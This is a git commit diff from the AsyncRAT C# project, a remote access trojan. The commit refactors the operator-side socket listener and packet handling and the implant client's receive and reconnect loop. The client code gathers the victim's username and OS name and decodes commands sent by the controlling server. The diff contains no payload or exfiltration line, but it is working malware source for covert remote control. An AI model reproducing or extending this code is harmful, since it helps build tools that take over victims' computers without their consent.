Sapphire/AsyncRAT-C-Sharp
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NYAN CAT 2019-01-23 03:51:29 -08:00
parent df79845f74
commit 63afbfc91f
6 changed files with 69 additions and 39 deletions
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2
AsyncRAT-C#/AsyncRAT-Sharp/Form1.cs
View File

@ -22,7 +22,7 @@ namespace AsyncRAT_Sharp
while (true)
{
await Task.Delay(1000);
toolStripStatusLabel1.Text = String.Format("Online {0}", listView1.Items.Count.ToString());
toolStripStatusLabel1.Text = string.Format("Online {0}", listView1.Items.Count.ToString());
}
}

6
AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePacket.cs
View File

@ -7,7 +7,7 @@ namespace AsyncRAT_Sharp.Handle_Packet
{
class HandlePacket
{
public delegate void UpdateListViewDelegatevoid(Clients Client, byte[] Data);
public delegate void UpdateForm1Delegatevoid(Clients client, byte[] data);
public static void Read(Clients client, byte[] data)
{
MsgPack unpack_msgpack = new MsgPack();
@ -15,9 +15,9 @@ namespace AsyncRAT_Sharp.Handle_Packet
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
{
case "ClientInfo":
if (Program.form1.InvokeRequired)
if (Program.form1.listView1.InvokeRequired)
{
Program.form1.Invoke(new UpdateListViewDelegatevoid(Read), new object[] { client, data });
Program.form1.listView1.Invoke(new UpdateForm1Delegatevoid(Read), new object[] { client, data });
}
else
{

29
AsyncRAT-C#/AsyncRAT-Sharp/Socket/Clients.cs
View File

@ -17,7 +17,8 @@ namespace AsyncRAT_Sharp.Sockets
public bool BufferRecevied;
public MemoryStream MS;
public ListViewItem LV;
public bool isClientConnected;
public event ReadEventHandler Read;
public delegate void ReadEventHandler(Clients client, byte[] data);
public void InitializeClient(Socket CLIENT)
{
@ -29,9 +30,9 @@ namespace AsyncRAT_Sharp.Sockets
Buffer = new byte[1];
Buffersize = 0;
BufferRecevied = false;
isClientConnected = true;
MS = new MemoryStream();
LV = null;
Read += HandlePacket.Read;
client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null);
}
@ -51,6 +52,7 @@ namespace AsyncRAT_Sharp.Sockets
if (Buffer[0] == 0)
{
Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray()));
MS.Dispose();
MS = new MemoryStream();
if (Buffersize > 0)
{
@ -60,7 +62,6 @@ namespace AsyncRAT_Sharp.Sockets
}
else
{
await MS.WriteAsync(Buffer, 0, Buffer.Length);
}
}
@ -69,21 +70,26 @@ namespace AsyncRAT_Sharp.Sockets
await MS.WriteAsync(Buffer, 0, Recevied);
if (MS.Length == Buffersize)
{
HandlePacket.Read(this, MS.ToArray());
MS = new MemoryStream();
Read?.BeginInvoke(this, MS.ToArray(), null, null);
Buffer = new byte[1];
Buffersize = 0;
BufferRecevied = false;
MS.Dispose();
MS = new MemoryStream();
}
}
}
else
{
Disconnected();
}
client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadClientData, null);
}
catch
{
Disconnected();
}
}
delegate void _isDisconnected();
@ -95,14 +101,21 @@ namespace AsyncRAT_Sharp.Sockets
{
LV.Remove();
}
try
{
MS.Dispose();
client.Close();
client.Dispose();
}
catch { }
}
public async void BeginSend(byte[] Msgs)
{
if (isClientConnected || client.Connected)
if (client.Connected)
{
try
{
using (MemoryStream MS = new MemoryStream())
{
byte[] buffer = Msgs;

34
AsyncRAT-C#/AsyncRAT-Sharp/Socket/Listener.cs
View File

@ -2,30 +2,39 @@
using System.Net;
using System.Net.Sockets;
using System;
using System.Threading;
using System.Windows.Forms;
namespace AsyncRAT_Sharp.Sockets
{
class Listener
{
public TcpListener listener;
public Socket listener;
public async void Connect(int port)
{
listener = new TcpListener(IPAddress.Any, port);
listener.Server.ReceiveBufferSize = 50 * 1024;
listener.Server.SendBufferSize = 50 * 1024;
listener.Server.ReceiveTimeout = -1;
listener.Server.SendTimeout = -1;
listener.Start();
try
{
listener = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
IPEndPoint IpEndPoint = new IPEndPoint(IPAddress.Any, port);
listener.SendBufferSize = 50 * 1024;
listener.ReceiveBufferSize = 50 * 1024;
listener.ReceiveTimeout = -1;
listener.SendTimeout = -1;
listener.Bind(IpEndPoint);
listener.Listen(50);
while (true)
{
await Task.Delay(1);
if (listener.Pending())
{
listener.BeginAcceptSocket(EndAccept, null);
listener.BeginAccept(EndAccept, null);
}
}
catch (Exception ex)
{
MessageBox.Show(ex.Message);
Environment.Exit(0);
}
}
public void EndAccept(IAsyncResult ar)
@ -33,11 +42,10 @@ namespace AsyncRAT_Sharp.Sockets
try
{
Clients CL = new Clients();
CL.InitializeClient(listener.EndAcceptSocket(ar));
CL.InitializeClient(listener.EndAccept(ar));
}
catch
{
}
{ }
}
}
}

3
AsyncRAT-C#/Client/Client.csproj
View File

@ -31,6 +31,9 @@
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup>
<StartupObject />
</PropertyGroup>
<ItemGroup>
<Reference Include="Microsoft.VisualBasic" />
<Reference Include="System" />

18
AsyncRAT-C#/Client/Program.cs
View File

@ -2,6 +2,7 @@
using Microsoft.VisualBasic;
using Microsoft.VisualBasic.Devices;
using System;
using System.Diagnostics;
using System.IO;
using System.Net.Sockets;
using System.Text;
@ -59,19 +60,20 @@ namespace Client
msgpack.ForcePathObject("User").AsString = Environment.UserName.ToString();
msgpack.ForcePathObject("OS").AsString = new ComputerInfo().OSFullName.ToString();
return msgpack.Encode2Bytes();
}
public static void ReadServertData(IAsyncResult ar)
{
try
{
if (client.Connected == false)
{
client.Close();
client.Dispose();
MS.Dispose();
InitializeClient();
}
try
{
int Recevied = client.EndReceive(ar);
if (Recevied > 0)
@ -82,6 +84,7 @@ namespace Client
if (Buffer[0] == 0)
{
Buffersize = Convert.ToInt64(Encoding.UTF8.GetString(MS.ToArray()));
MS.Dispose();
MS = new MemoryStream();
if (Buffersize > 0)
{
@ -100,7 +103,8 @@ namespace Client
MS.Write(Buffer, 0, Recevied);
if (MS.Length == Buffersize)
{
Read(MS.ToArray());
ThreadPool.QueueUserWorkItem(Read, MS.ToArray());
MS.Dispose();
MS = new MemoryStream();
Buffer = new byte[1];
Buffersize = 0;
@ -112,6 +116,7 @@ namespace Client
{
client.Close();
client.Dispose();
MS.Dispose();
InitializeClient();
}
client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null);
@ -120,14 +125,15 @@ namespace Client
{
client.Close();
client.Dispose();
MS.Dispose();
InitializeClient();
}
}
public static void Read(byte[] Data)
public static void Read(object Data)
{
MsgPack unpack_msgpack = new MsgPack();
unpack_msgpack.DecodeFromBytes(Data);
unpack_msgpack.DecodeFromBytes((byte[])Data);
Console.WriteLine("I recevied a packet from server: " + unpack_msgpack.ForcePathObject("Packet").AsString);
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
{